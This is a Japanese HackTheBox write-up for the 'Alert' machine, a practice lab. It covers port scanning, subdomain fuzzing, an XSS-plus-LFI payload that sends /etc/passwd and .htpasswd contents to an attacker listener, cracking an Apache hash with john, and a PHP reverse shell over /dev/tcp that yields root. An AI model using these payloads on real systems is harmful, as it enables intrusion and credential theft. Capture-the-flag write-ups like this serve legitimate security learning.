はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Alertです。
Alertでは、XSSの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 23:02 JST
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
12227/tcp filtered unknown
13555/tcp closed unknown
49084/tcp closed unknown
64073/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.87 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後alert.htbにアクセスすると、以下の様な画面が表示されます。
サブドメイン
ffuwを用いてサブドメインの列挙を行います。
レスポンス結果を踏まえて、レスポンスサイズの値に規則性はないため、-fcオプションを使用してステータスコードの301を除外します。
$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://alert.htb/ -H "Host: FUZZ.alert.htb" -c -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://alert.htb/
:: Wordlist : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.alert.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 250ms]
:: Progress: [4989/4989] :: Job [1/1] :: 159 req/sec :: Duration: [0:00:36] :: Errors: 0 ::
statisticsのサブドメインを検出したのでアクセスすると、認証が行われていることが確認できます。
脆弱性分析
足場を作るにあたって利用可能な脆弱性を探します。
トップページの「Markdown Viewer」を調査した結果、XSSとLFIの脆弱性を発見しました。例として、/etc/passwd
を読み取る場合は、以下の様な.md
ファイルを用意します。
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../etc/passwd")
.then(response => response.text())
.then(data => {
fetch("http://<Ip address>:4444/?file_content=" + encodeURIComponent(data));
});
</script>
用意した.md
ファイルをアップロードします。
画面右下の「Share Markdown」を押します。
URLをコピーして控えます。
「Cotact Us」でコピーしたURLを入力して送信します。
「Cotact Us」で送信後リクエストが発生すると、以下の様なレスポンスが取得できます。
listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 47702
GET /?file_content=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1
Host: <REDACTED>:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
URLエンコードで符号化されているため、デコードすると中身を確認できます。
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>
ユーザー名について確認できました。
システムハッキング
これまでに確認できたXSSとLFIの脆弱性を利用して足場を作ります。
アクセスの獲得
事前にリスナーを用意します。
先ほどと同じ様に.htpasswd
ファイルにアクセスするための.md
ファイルを用意して「Cotact Us」から送信します。
<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://<Ip address>:4444/?file_content=" + encodeURIComponent(data));
});
</script>
リクエスト発生後、レスポンスを確認します。
listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 40880
GET /?file_content=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1
Host: <REDACTED>:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
デコードすると、以下の様な文字列を取得できました。$apr1$
で始まるこの形式の暗号は、ApacheのMD5ベースの暗号化形式(APR1-MD5)であることが分かります。
APR1-MD5は、Apache HTTP Serverで使用されるパスワードのハッシュ形式の一つであり、.htpasswd
ファイルでの認証に使われています。
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>
johnなどを実行して復号します。
$ john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
上記コマンド実行後、パスワードが判明しました。
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (?)
1g 0:00:00:00 DONE (2024-12-15 23:35) 33.33g/s 96000p/s 96000c/s 96000C/s meagan..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ログインすると、以下の様なダッシュボードの画面が確認できます。
ユーザーフラグ
albertユーザーと解析したパスワードを用いて、SSHログインを行います。
ssh albert@10.10.11.44
albert@10.10.11.44's password:
ログイン後、ユーザーフラグが確認できます。
total 3064
drwxr-x--- 4 albert albert 4096 Dec 15 09:24 ./
drwxr-xr-x 4 root root 4096 Oct 12 02:21 ../
lrwxrwxrwx 1 albert albert 9 Mar 16 2024 .bash_history -> /dev/null
-rw-r--r-- 1 albert albert 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 albert albert 3771 Feb 25 2020 .bashrc
drwx------ 2 albert albert 4096 Mar 8 2024 .cache/
drwxrwxr-x 3 albert albert 4096 Dec 15 09:24 .local/
-rw-r--r-- 1 albert albert 807 Feb 25 2020 .profile
-rwxrwxr-x 1 albert albert 3104768 Sep 22 16:40 pspy64*
-rw-r----- 1 root albert 33 Dec 15 03:56 user.txt
ルートフラグ
ps
コマンドでプロセスを確認すると、ルートユーザーで実行している興味深いプロセスが見つかります。
また、当該プロセスは、ドキュメントルートとして/opt/website-monitor/
ディレクトリを指定し、phpで動作しています。
root 1003 0.0 0.6 206768 24004 ? Ss 03:56 0:01 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
ローカルでリッスンしているため、ポートフォワーディングを行ないローカルポート経由でアクセスします。
Websiteをモニタリングしているだけで、特に目ぼしい情報は見つかりません。引き続き調査を行い/opt/website-monitor/
ディレクトリを確認すると、config/
ディレクトリのみmanagementグループであることが分かります。
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ./
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ../
drwxrwxr-x 2 root management 4096 Dec 15 14:52 config/
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git/
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents/
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php*
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE*
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php*
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors/
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json*
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php*
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md*
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css*
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates/
albertユーザーは、サブグループとしてmanagementグループに所属しています。
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
managementグループは、config
ディレクトリに対して書き込み権限が付与されているため、以下の様なリバースシェルを用意します。
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<Ip address>/4444 0>&1'");?>
ローカルポート経由で用意したシェルにアクセスすると、リバースシェルが取得できます。
listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 34838
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config# id
id
uid=0(root) gid=0(root) groups=0(root)
おわりに
ユーザーフラグの取得は、創造性を必要とするMachineでした。